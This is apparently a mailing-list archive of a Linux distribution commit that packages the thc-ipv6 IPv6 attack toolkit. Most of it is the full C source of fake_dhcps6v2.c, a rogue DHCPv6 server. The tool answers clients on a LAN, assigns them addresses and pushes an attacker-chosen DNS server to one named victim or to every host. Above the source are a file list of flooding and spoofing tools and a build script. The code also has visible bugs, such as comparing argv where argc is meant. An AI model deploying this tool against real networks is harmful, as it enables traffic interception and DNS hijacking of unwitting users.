usr/share/man/man8/dos-new-ip6.8.gz +-rw-r--r-- root/root usr/share/man/man8/dump_dhcp6.8.gz +-rw-r--r-- root/root usr/share/man/man8/dump_router6.8.gz +-rw-r--r-- root/root usr/share/man/man8/exploit6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_advertise6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_dhcps6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_dhcps6v2.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_dns6d.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_dnsupdate6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_mipv6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_mld26.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_mld6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_mldrouter6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_pim6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_router26.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_router6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fake_solicitate6.8.gz +-rw-r--r-- root/root usr/share/man/man8/firewall6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_advertise6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_dhcpc6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_mld26.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_mld6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_mldrouter6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_redir6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_router26.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_router6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_rs6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_solicitate6.8.gz +-rw-r--r-- root/root usr/share/man/man8/flood_unreach6.8.gz +-rw-r--r-- root/root usr/share/man/man8/four2six.8.gz +-rw-r--r-- root/root usr/share/man/man8/fragmentation6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fragrouter6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fuzz_dhcpc6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fuzz_dhcps6.8.gz +-rw-r--r-- root/root usr/share/man/man8/fuzz_ip6.8.gz +-rw-r--r-- root/root usr/share/man/man8/implementation6.8.gz +-rw-r--r-- root/root usr/share/man/man8/implementation6d.8.gz +-rw-r--r-- root/root usr/share/man/man8/inject_alive6.8.gz +-rw-r--r-- root/root usr/share/man/man8/inverse_lookup6.8.gz +-rw-r--r-- root/root usr/share/man/man8/kill_router6.8.gz +-rw-r--r-- root/root usr/share/man/man8/ndpexhaust26.8.gz +-rw-r--r-- root/root usr/share/man/man8/ndpexhaust6.8.gz +-rw-r--r-- root/root usr/share/man/man8/node_query6.8.gz +-rw-r--r-- root/root usr/share/man/man8/parasite6.8.gz +-rw-r--r-- root/root usr/share/man/man8/passive_discovery6.8.gz +-rw-r--r-- root/root usr/share/man/man8/randicmp6.8.gz +-rw-r--r-- root/root usr/share/man/man8/redir6.8.gz +-rw-r--r-- root/root usr/share/man/man8/redirsniff6.8.gz +-rw-r--r-- root/root usr/share/man/man8/rsmurf6.8.gz +-rw-r--r-- root/root usr/share/man/man8/sendpees6.8.gz +-rw-r--r-- root/root usr/share/man/man8/sendpeesmp6.8.gz +-rw-r--r-- root/root usr/share/man/man8/smurf6.8.gz +-rw-r--r-- root/root usr/share/man/man8/thc-ipv6.8.gz +-rw-r--r-- root/root usr/share/man/man8/thcping6.8.gz +-rw-r--r-- root/root usr/share/man/man8/thcsyn6.8.gz +-rw-r--r-- root/root usr/share/man/man8/toobig6.8.gz +-rw-r--r-- root/root usr/share/man/man8/toobigsniff6.8.gz +-rw-r--r-- root/root usr/share/man/man8/trace6.8.gz diff --git a/thc-ipv6/.signature b/thc-ipv6/.signature new file mode 100644 index 000000000..af206d4fd --- /dev/null +++ b/thc-ipv6/.signature @@ -0,0 +1,6 @@ +untrusted comment: verify with /etc/ports/contrib.pub +RWSagIOpLGJF37RohuasuM4oGxXowUqmmD5dMe0mFmMPutbGbJQlkQRHcU6w2NpFlV4cR22kB+oSHVJAjdPfbSO4imLbiTub5w4= +SHA256 (Pkgfile) = f454f1ae8841758f1ec34f9ed2d56e75eb7ce1a3d80941cba0a1aa0552571c64 +SHA256 (.footprint) = 7fdec22adac9330e3f7181fac3abb2e70f2333723363ce11fbfbfdd9739a80f3 +SHA256 (thc-ipv6-3.8.tar.gz) = b60be61a8b0a944a66e3b719704b4c03c1bc2c22f32d5d21e99e434c82a9d769 +SHA256 (fake_dhcps6v2.c) = 22aece1f21de88bd6d6bc0f866e0c1f8c65dd26d6b20f0b698f58a8fc7248cd6 diff --git a/thc-ipv6/Pkgfile b/thc-ipv6/Pkgfile new file mode 100644 index 000000000..6847df65f --- /dev/null +++ b/thc-ipv6/Pkgfile @@ -0,0 +1,32 @@ +# Description: IPv6 attack toolkit +# URL: https://github.com/vanhauser-thc/thc-ipv6 +# Maintainer: Alexandr Savca, alexandrsavca89 at gmail dot com +# Depends on: bindutils libnetfilter_queue libpcap + +name=thc-ipv6 +version=3.8 +release=1 +source=(https://github.com/vanhauser-thc/$name/archive/v$version/$name-$version.tar.gz + fake_dhcps6v2.c) + +build() { + cd $name-$version + + # remove default optimization flags + sed -i 's,CFLAGS+=-g -O3 -march=native,CFLAGS+=,' Makefile + + # According to this thread + # https://github.com/vanhauser-thc/thc-ipv6/pull/18 + # van Hauser has a sane reasons to decline this PR. + # And at the same time, since this patch is very handyful, + # we may include it as a separate tool. + cp $SRC/fake_dhcps6v2.c . + sed -i 's/fake_dhcps6 /fake_dhcps6 fake_dhcps6v2 /' Makefile + + make + make PREFIX=/usr DESTDIR=$PKG install + + (cd contrib; + make + make PREFIX=/usr DESTDIR=$PKG install) +} diff --git a/thc-ipv6/fake_dhcps6v2.c b/thc-ipv6/fake_dhcps6v2.c new file mode 100644 index 000000000..2e66bc699 --- /dev/null +++ b/thc-ipv6/fake_dhcps6v2.c @@ -0,0 +1,415 @@ +/* + * Fake DHCPv6v2 :D + * + * On a LAN it's best to be able to target the attack on a specific IP. + * If you want to attack all victims, use "any". + * + * According to this thread https://github.com/vanhauser-thc/thc-ipv6/pull/18 + * van Hauser has sane reasons to decline this patch. + * + * But ... since this patch is very handyful, we include it into a separate + * tool (to not break backward compatibility). + * + */ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +#include <sys/types.h> +#include <sys/time.h> +#include <sys/resource.h> +#include <sys/wait.h> +#include <time.h> +#include <pcap.h> +#include <netinet/in.h> +#include <sys/select.h> +#include "thc-ipv6.h" + +void help(char *prg) { + printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); + printf( + "Syntax: %s interface network-address/prefix-length dns-server " + "[<victim-address|any> [dhcp-server-ip-address [mac-address]]]\n\n", + prg); + printf( + "Fake DHCPv6 server. Use to configure an address and set a DNS server\n"); + exit(-1); +} + +int main(int argc, char *argv[]) { + char * routerip, *interface, mac[16] = ""; + char rdatabuf[1024], wdatabuf[1024], cmsgbuf[1024], mybuf[1024]; + unsigned char *victimip6, *routerip6, *mac6 = mac, *ip6, *ptr, *ptr1, *ptr2, *ptr3, *any = "any"; + unsigned char *dns; + int size, fromlen = 0, /*mtu = 1500, */ i, j, k, l, m, s, len, t, mlen, + csize = 0; + static struct iovec iov; + struct sockaddr_storage from; + struct msghdr mhdr; + struct sockaddr_in6 ddst; + unsigned long long int count = 0; + + if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); + + if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) + printf("WARNING: %s is not working with injection!\n", argv[0]); + + if (strcmp(argv[1], "-r") == 0) { // is ignored + argv++; + argc--; + } + + memset(mac, 0, sizeof(mac)); + interface = argv[1]; + if (thc_get_own_mac(interface) == NULL) { + fprintf(stderr, "Error: invalid interface %s\n", interface); + exit(-1); + } + if (argc >= 5 && argv[4] != NULL) + victimip6 = argv[4]; + else + victimip6 = NULL; + + if (argv >= 7 && (ptr = argv[6]) != NULL) + sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], + (unsigned int *)&mac[1], (unsigned int *)&mac[2], + (unsigned int *)&mac[3], (unsigned int *)&mac[4], + (unsigned int *)&mac[5]); + else + mac6 = thc_get_own_mac(interface); + + if (argc >= 6 && argv[5] != NULL) + ip6 = thc_resolve6(argv[5]); + else + ip6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); + + if (argc >= 4 && argv[3] != NULL) + dns = thc_resolve6(argv[3]); + else + dns = thc_resolve6("ff02::fb"); + + routerip = argv[2]; + if ((ptr = index(routerip, '/')) == NULL) { + printf( + "Error: Option must be supplied as IP-ADDRESS/PREFIXLENGTH, e.g. " + "ff80::01/16\n"); + exit(-1); + } + *ptr++ = 0; + size = atoi(ptr); + + routerip6 = thc_resolve6(routerip); + + if (routerip6 == NULL || size < 1 || size > 128) { + fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", + argv[2]); + exit(-1); + } + if (size < 64) { + fprintf( + stderr, + "Warning: network prefix must be a minimum of /64, resizing to /64\n"); + size = 64; + } + if (size % 8 > 0) { + size = ((size / 8) + 1) * 8; + fprintf(stderr, + "Warning: prefix must be a multiple of 8, resizing to /%d\n", + csize * 8); + } + csize = 8 - ((size - 64) / 8); + if (dns == NULL) { + fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[3]); + exit(-1); + } + if (ip6 == NULL) { + fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[4]); + exit(-1); + } + + /* + if (mtu < 1 || mtu > 65536) { + fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[5]); + exit(-1); + } + if (mtu < 1228 || mtu > 1500) + fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are + doing :%d\n", mtu); + */ + if (mac6 == NULL) { + fprintf(stderr, "Error: mac address in invalid\n"); + exit(-1); + } + + if ((s = thc_bind_udp_port(547)) < 0) { + fprintf(stderr, "Error: could not bind to 547/udp\n"); + exit(-1); + } + if (thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:2")) < + 0 || + thc_bind_multicast_to_socket(s, interface, thc_resolve6("ff02::1:3")) < + 0) { + fprintf(stderr, "Error: could not bind multicast address\n"); + exit(-1); + } + if ((t = socket(AF_INET6, SOCK_DGRAM, 0)) < 0) { + perror("Error:"); + exit(-1); + } + + memset(mybuf, 0, sizeof(mybuf)); + mybuf[1] = 2; + mybuf[3] = 14; + mybuf[5] = 1; + mybuf[7] = 1; + // mybuf + 8 == time + memcpy(mybuf + 12, mac6, 6); + mlen = 18; + mybuf[mlen + 1] = 23; + mybuf[mlen + 3] = 16; + memcpy(mybuf + mlen + 4, dns, 16); + mlen += 20; + + printf( + "Starting to fake dhcp6 server on %s for %s (Press Control-C to end) " + "...\n\n", + interface, argv[2]); + while (1) { + memset((char *)&from, 0, sizeof(from)); + memset(&iov, 0, sizeof(iov)); + memset(&mhdr, 0, sizeof(mhdr)); + iov.iov_base = rdatabuf; + iov.iov_len = sizeof(rdatabuf); + mhdr.msg_name = &from; + mhdr.msg_namelen = sizeof(from); + mhdr.msg_iov = &iov; + mhdr.msg_iovlen = 1; + mhdr.msg_control = (caddr_t)cmsgbuf; + mhdr.msg_controllen = sizeof(cmsgbuf); + if ((len = recvmsg(s, &mhdr, 0)) > 0) { + fromlen = mhdr.msg_namelen; + if (debug) thc_dump_data(rdatabuf, len, "Received Packet"); + ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; + ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); + switch (rdatabuf[0]) { + case 1: + ptr1 = "Solicitate"; + break; + case 2: + ptr1 = "Advertise (illegal, ignored)"; + break; + case 3: + ptr1 = "Request"; + break; + case 4: + ptr1 = "Confirm"; + break; + case 5: + ptr1 = "Renew"; + break; + case 6: + ptr1 = "Rebind"; + break; + case 7: + ptr1 = "Reply (illegal, ignored)"; + break; + case 8: + ptr1 = "Release (ignored)"; + break; + case 9: + ptr1 = "Decline (ignored)"; + break; + case 10: + ptr1 = "Reconfigure (illegal, ignored)"; + break; + case 11: + ptr1 = "Information Request (ignored)"; + break; + case 12: + ptr1 = "Relay Forward (ignored)"; + break; + case 13: + ptr1 = "Relay Reply (ignored)"; + break; + default: + ptr1 = "Unknown (ignored)"; + break; + } + printf("Received DHCP6 %s packet from %s\n", ptr1, ptr2); + if (victimip6 == NULL || strcmp(any, victimip6) == 0) + printf("Warning: attacking all IPs, this is not safe\n"); + else { + if (strcmp(ptr2, victimip6) != 0) { + printf("Packet ignored, not our victim\n"); + free(ptr2); + continue; + } + } + free(ptr2); + if (rdatabuf[0] >= 1 && rdatabuf[0] < 7 && rdatabuf[0] != 2) { + memset(wdatabuf, 0, sizeof(wdatabuf)); + memcpy(wdatabuf + 1, rdatabuf + 1, 3); + i = j = 4; + k = -1; + if (rdatabuf[0] == 1) { // initial request + wdatabuf[0] = 2; + while ((j + 4) < len) { + l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; + if (l + j + 4 > len) { + l = 0; + j = len; + printf("Info: received evil packet\n"); + } else { + if (rdatabuf[j + 1] == 1) { + memcpy(wdatabuf + i, rdatabuf + j, l + 4); + i += l + 4; + } else if (rdatabuf[j + 1] == 3) { + k = j; // just set a pointer + } + j += l + 4; + } + } + // add 02, 23 + j = time(NULL); + memcpy(mybuf + 8, (char *)&j + _TAKE4, 4); + memcpy(wdatabuf + i, mybuf, mlen); + i += mlen; + // now expand 3 + if (k > -1 && rdatabuf[k + 3] == 12 && + rdatabuf[k + 2] == 0) { // copy structure + memcpy(wdatabuf + i, rdatabuf + k, 16); + } else { // or create new + wdatabuf[i + 1] = 3; + memcpy(wdatabuf + i + 4, (char *)&j + _TAKE4, + 4); // copy time as IAID + } + wdatabuf[i + 3] = 40; + memset(wdatabuf + i + 8, 0, 8); + wdatabuf[i + 10] = 0x7f; + wdatabuf[i + 14] = 0xfe; + i += 16; + wdatabuf[i + 1] = 5; + wdatabuf[i + 3] = 24; + memcpy(wdatabuf + i + 4, routerip6, 16); // address + count++; + if (csize > 0) + memcpy(wdatabuf + i + 4 + 16 - csize, (char *)&count, + csize); // counter + ptr3 = thc_ipv62notation(wdatabuf + i + 4); + wdatabuf[i + 21] = 2; + wdatabuf[i + 25] = 2; + i += 28; + } else { + wdatabuf[0] = 7; + m = 0; + while ((j + 4) < len) { + l = rdatabuf[j + 2] * 256 + rdatabuf[j + 3]; + if (l + j + 4 > len) { + l = 0; + j = len; + printf("Info: received evil packet\n"); + } else { // just copy types 1-3 and 23 + if ((rdatabuf[j + 1] >= 1 && rdatabuf[j + 1] <= 3) || + rdatabuf[j + 1] == 23) { + memcpy(wdatabuf + i, rdatabuf + j, l + 4); + i += l + 4; + if (rdatabuf[j + 1] == 23) k = 1; + if (rdatabuf[j + 1] == 3) m = 1; + } + j += l + 4; + } + } + if (k == -1) { + memcpy(wdatabuf + i, mybuf + 18, 20); + i += 20; + } + } + len = i; + if (debug) thc_dump_data(wdatabuf, len, "Reply Packet"); + ddst.sin6_family = AF_INET6; + ddst.sin6_port = htons(546); + // ddst.sin6_addr = ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_addr; + ddst.sin6_scope_id = + ((struct sockaddr_in6 *)mhdr.msg_name)->sin6_scope_id; + if (sendto(t, wdatabuf, len, 0, (struct sockaddr *)&ddst, + sizeof(ddst)) < 0) + perror("Error:"); + else { + ptr2 = thc_ipv62notation((char *)&ddst.sin6_addr); + if (wdatabuf[0] == 2) { + printf("Sent DHCP6 Advertise packet to %s (offer: %s)\n", ptr2, + ptr3); + free(ptr3); + } else if (m) + printf("Sent DHCP6 Reply packet to %s (address accepted)\n", ptr2); + else + printf("Sent DHCP6 Reply packet to %s (did not set address)\n", + ptr2); + free(ptr2); + } + } + } + } + + /* packet structure: + 1 byte = type + 3 bytes = sessionid + while(packet data) { + 2 bytes = type + 2 bytes = length in bytes of following data + ... defined fixed length data ... + } + + server listen on ff02::1:2 udp 547 + client connects from linklocal port 546, ttl 1 + 01 = solicit + 3 bytes = sessionid + 6 bytes = blog (elapsed, 8) + 8 bytes = 01 blob (client id + time + mac) + 4 bytes = time + 6 bytes = mac + 16 bytes = 03 blob (want perm address) + 5 + length + hostname = hostname + 18 bytes = blob (vendor class, type 16) + 12 bytes = blob (requested options, type 6) + server sends to linklocal (respect client port), ttl 1 + 02 = advertise + 3 bytes = sessionid (copy) + 18 bytes = 01 blob (client copy of client-id) + 8 bytes = 02 blob (server id + time + mac) + 4 bytes = time + 6 bytes = mac + 0003 = give perm address + 2 bytes = length + 4 bytes = IAID (from client request!) + 4 bytes = validity time 1 (1800) + 4 bytes = validity time 2 (2880) + 0005 = address structure + 2 bytes = length (24 bytes) + 16 bytes = address + 4 bytes = validity time (3600) + 4 byte = validity time (same) + 0023 = dns option + 2 bytes = length (16 bytes) + 16 bytes = dns server address + client sends to ff02::1:2 ! + 03 = request + 3 bytes = sessionid + 6 bytes = blog (elapsed, 8) + 8 bytes = 01 blob (client id + time + mac) + 4 bytes = time + 6 bytes = mac + 18 bytes = client (again) + 18 bytes = server (copy) + 44 bytes = address (copy) + 5 + length + hostname = hostname (again) + 18 bytes = blob again (vendor class, type 16) + 12 bytes = blob again (requested options, type 6) + server replies + 7 = reply + copy original advertise packet :-) + */ + + return 0; // never reached +}

1 0

ports/core (3.6): Merge branch '3.5' into 3.6
by crux＠crux.nu 01 Dec '20

01 Dec '20

commit 5fd5d7eb8d21e2288ae5be83de78a9f1c4177b0a Merge: d1bcca69 237e2935 Author: Juergen Daubert <jue(a)jue.li> Date: Tue Dec 1 11:53:07 2020 +0000 Merge branch '3.5' into 3.6 Conflicts: libarchive/.signature libarchive/Pkgfile

1 0